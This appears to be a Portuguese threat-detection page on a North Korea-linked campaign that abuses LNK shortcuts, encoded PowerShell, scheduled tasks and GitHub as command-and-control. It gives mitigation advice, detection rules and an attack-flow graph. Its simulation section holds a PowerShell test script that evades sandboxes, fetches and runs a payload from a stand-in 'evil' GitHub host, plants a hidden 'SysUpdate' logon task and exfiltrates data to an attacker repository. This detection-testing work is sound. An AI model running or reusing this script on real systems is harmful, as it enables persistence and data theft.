Campanhas Relacionadas à Coreia do Norte com LNK e GitHub C2
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O FortiGuard Labs relata uma campanha vinculada à DPRK que utiliza arquivos de atalho LNK para lançar estágios PowerShell codificados, estabelecer persistência através de tarefas agendadas e exfiltrar dados via GitHub. A linha de comando LNK incorpora lógica de decodificação, permitindo que os operadores dependam de utilitários integrados do Windows e reduzam artefatos aparentes de malware. A atividade tem como alvo organizações na Coreia do Sul e segue um fluxo de trabalho em várias etapas. Ao usar infraestrutura pública legítima como o GitHub, a campanha se mistura ao tráfego normal de desenvolvedores e dificulta o bloqueio baseado em rede.
Investigação
Os analistas documentaram uma cadeia de três estágios: (1) arquivos LNK transportando PowerShell codificado em seus argumentos, (2) um estágio PowerShell que executa verificações anti-análise, solta um VBScript, cria uma tarefa agendada oculta e coleta detalhes do host/sistema, e (3) um estágio final que repetidamente baixa módulos adicionais de um repositório no GitHub. Várias contas no GitHub foram observadas suportando o fluxo de trabalho C2, incluindo tokens de acesso embutidos usados para fazer upload de dados através da API do GitHub. Os operadores também usaram documentos PDF falsos para tornar a isca mais crível e reduzir a suspeita do usuário.
Mitigação
Bloqueie ou restrinja a execução de arquivos LNK originários de locais não confiáveis (downloads de e-mail, pastas temporárias, caminhos de download do perfil do usuário). Monitore padrões suspeitos de execução de PowerShell e VBScript, especialmente quando seguidos pela criação de tarefas agendadas incomuns. Onde viável, limite ou proxy o acesso de saída a endpoints da API do GitHub para sistemas sem necessidade comercial, e alerte sobre uso atípico da API do GitHub a partir de hosts não desenvolvedores. Reforce a detecção de controle de aplicativos e EDR para sinalizar o abuso de ferramentas nativas do Windows usadas para encenação, decodificação e persistência.
Resposta
Se detectado, isole o endpoint e preserve as evidências coletando o arquivo LNK, a definição da tarefa agendada e quaisquer scripts descartados. Remova a tarefa agendada, revogue qualquer(m) token(s) de acesso ao GitHub exposto(s) e realize uma varredura completa do host para artefatos relacionados e módulos subsequentes. Notifique as partes interessadas relevantes, depois atualize o conteúdo de detecção para cobrir os comportamentos observados e IOCs para apoiar uma caça ao ambiente mais ampla.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffef99 classDef malware fill:#ff9999 %% Nodes action_initial_access["<b>Ação</b> – <b>T1566.001 Phishing: Anexo de Spearphishing</b><br/>Entrega de .lnk malicioso disfarçado como PDF coreano"] class action_initial_access action tool_lnk["<b>Ferramenta</b> – <b>Nome</b>: Atalho .lnk<br/><b>Técnica</b>: T1547.009 Modificação de Atalho"] class tool_lnk tool action_execution_lnk["<b>Ação</b> – <b>T1547.009 Execução de Inicialização ou Logon: Modificação de Atalho</b><br/>Atalho aciona o PowerShell"] class action_execution_lnk action tool_powershell["<b>Ferramenta</b> – <b>Nome</b>: PowerShell<br/><b>Técnica</b>: T1059.001 Intérprete de Comandos e Scripts"] class tool_powershell tool action_obfuscation["<b>Ação</b> – <b>Técnicas de Ofuscação</b><br/>T1027.012 Icon Smuggling, T1027.008 Cargas Removidas, T1027.009 Cargas Incorporadas"] class action_obfuscation action action_sandbox_evasion["<b>Ação</b> – <b>T1497.002 Evasão de Virtualização/Sandbox</b><br/>Verifica ferramentas de análise e aborta"] class action_sandbox_evasion action action_decode_payload["<b>Ação</b> – <b>T1059.001 PowerShell</b><br/>Decodifica Base64/XOR, escreve VBScript em %Temp%"] class action_decode_payload action tool_vbscript["<b>Ferramenta</b> – <b>Nome</b>: VBScript<br/>Escreve script em %Temp%"] class tool_vbscript tool tool_scheduled_task["<b>Ferramenta</b> – <b>Nome</b>: Tarefa Agendada<br/><b>Técnica</b>: T1037 Scripts de Inicialização de Boot ou Logon"] class tool_scheduled_task tool action_persistence["<b>Ação</b> – <b>Persistência</b><br/>Executa VBScript a cada 30 minutos"] class action_persistence action action_discovery["<b>Ação</b> – <b>Descoberta</b><br/>T1082 Descoberta de Informações do Sistema, T1057 Descoberta de Processos"] class action_discovery action action_c2["<b>Ação</b> – <b>Comando e Controle</b><br/>T1567.001 Exfiltração para GitHub, T1102.002 Serviço Web Bidirecional, T1538 Painel de Serviço em Nuvem"] class action_c2 action tool_github["<b>Ferramenta</b> – <b>Nome</b>: API do GitHub<br/>Usado para exfiltração e recuperação de módulos"] class tool_github tool %% Connections action_initial_access –>|entrega| tool_lnk tool_lnk –>|aciona| action_execution_lnk action_execution_lnk –>|usa| tool_powershell tool_powershell –>|executa| action_obfuscation action_obfuscation –>|leva a| action_sandbox_evasion action_sandbox_evasion –>|procede para| action_decode_payload action_decode_payload –>|escreve| tool_vbscript tool_vbscript –>|cria| tool_scheduled_task tool_scheduled_task –>|habilita| action_persistence action_persistence –>|coleta dados para| action_discovery action_discovery –>|envia dados para| action_c2 action_c2 –>|usa| tool_github "
Fluxo do Ataque
Detecções
Possíveis Indicadores de Ofuscação de PowerShell (via powershell)
Visualizar
Possível Download de Arquivo do GitHub Iniciado por Processo Incomum (via network_connection)
Visualizar
Strings de PowerShell Suspeitas (via powershell)
Visualizar
Download ou Upload via PowerShell (via cmdline)
Visualizar
A possibilidade de Execução através de Linhas de Comando PowerShell Ocultas (via cmdline)
Visualizar
Possível Arquivo LNK Malicioso com Dupla Extensão (via cmdline)
Visualizar
Possíveis Verificações de Evasão (via powershell)
Visualizar
Strings de PowerShell Suspeitas (via cmdline)
Visualizar
Possível Criação de Tarefa Agendada (via powershell)
Visualizar
IOCs (HashSha256) para detectar: Campanhas Relacionadas à DPRK com LNK e GitHub C2
Visualizar
Script PowerShell Buscando no GitHub por Persistência e Exfiltração de Dados [Windows Powershell]
Visualizar
Execução da Simulação
Pré-requisito: A Verificação Pré‑voo de Telemetria e Base deve ter sido aprovada.
Racional: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa e Comandos de Ataque:
O adversário comprometeu uma conta de usuário de baixo privilégio em uma estação de trabalho Windows. Para manter a persistência e exfiltrar dados furtivamente, eles criam um único comando PowerShell que:- Verifica processos comuns de ferramentas de análise (
vmxnet,vboxservice,idaq,fiddler,wireshark). Se algum estiver presente, o script aborta. - Faz download de uma carga útil codificada em Base64 de um repositório público do GitHub (
https://raw.githubusercontent.com/evil/loot/main/payload.b64). - Decodifica a carga útil na memória e a executa.
- Registra uma tarefa agendada via
New‑ScheduledTaskActionpara reexecutar o mesmo comando PowerShell a cada reinicialização (persistência). - Envia dados roubados de volta ao repositório GitHub do atacante usando a API do GitHub (
api.github.com).
Todos os passos são concatenados com ponto e vírgula, garantindo que a linha de comando inteira contenha as strings requeridas para a regra Sigma. command line contains the required strings for the Sigma rule.
- Verifica processos comuns de ferramentas de análise (
-
Script de Teste de Regressão:
# ------------------------------------------------- # Uma única linha que satisfaz todas as condições do Sigma # ------------------------------------------------- $envChecks = "vmxnet","vboxservice","idaq","fiddler","wireshark" foreach($c in $envChecks){ if (Get-Process -Name $c -ErrorAction SilentlyContinue){ exit } } $b64 = Invoke-RestMethod -Uri "https://raw.githubusercontent.com/evil/loot/main/payload.b64" $bytes = [System.Convert]::FromBase64String($b64) $decoded = [System.Text.Encoding]::UTF8.GetString($bytes) IEX $decoded $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -WindowStyle Hidden -Command `"& {<INSERT SAME ONE‑Liner HERE>}`"" $trigger = New-ScheduledTaskTrigger -AtLogon Register-ScheduledTask -TaskName "SysUpdate" -Action $action -Trigger $trigger -RunLevel Highest -Force # Exfiltrate sample data $data = "SensitiveInfo" $json = @{content=$data} | ConvertTo-Json Invoke-RestMethod -Method Post -Uri "https://api.github.com/repos/evil/collector/contents/data.txt" -Body $json -Headers @{Authorization="token <PAT>"}Nota: Substitua
<INSIRA A MESMA LINHA AQUI>com a mesma linha exata (recursiva) ou armazene-a em uma variável para evitar duplicação. O script é intencionalmente detalhado para ilustrar cada passo; em uma campanha real, o adversário iria compactá-lo ainda mais. -
Comandos de Limpeza:
# Remova a tarefa agendada Unregister-ScheduledTask -TaskName "SysUpdate" -Confirm:$false # Apague quaisquer arquivos temporários (se houver algum escrito) Remove-Item -Path "$env:TEMPpayload.b64" -ErrorAction SilentlyContinue # Opcionalmente, termine o processo malicioso em memória (se ainda estiver em execução) Get-Process -Name "powershell" | Where-Object {$_.StartInfo.Arguments -match "evil"} | Stop-Process -Force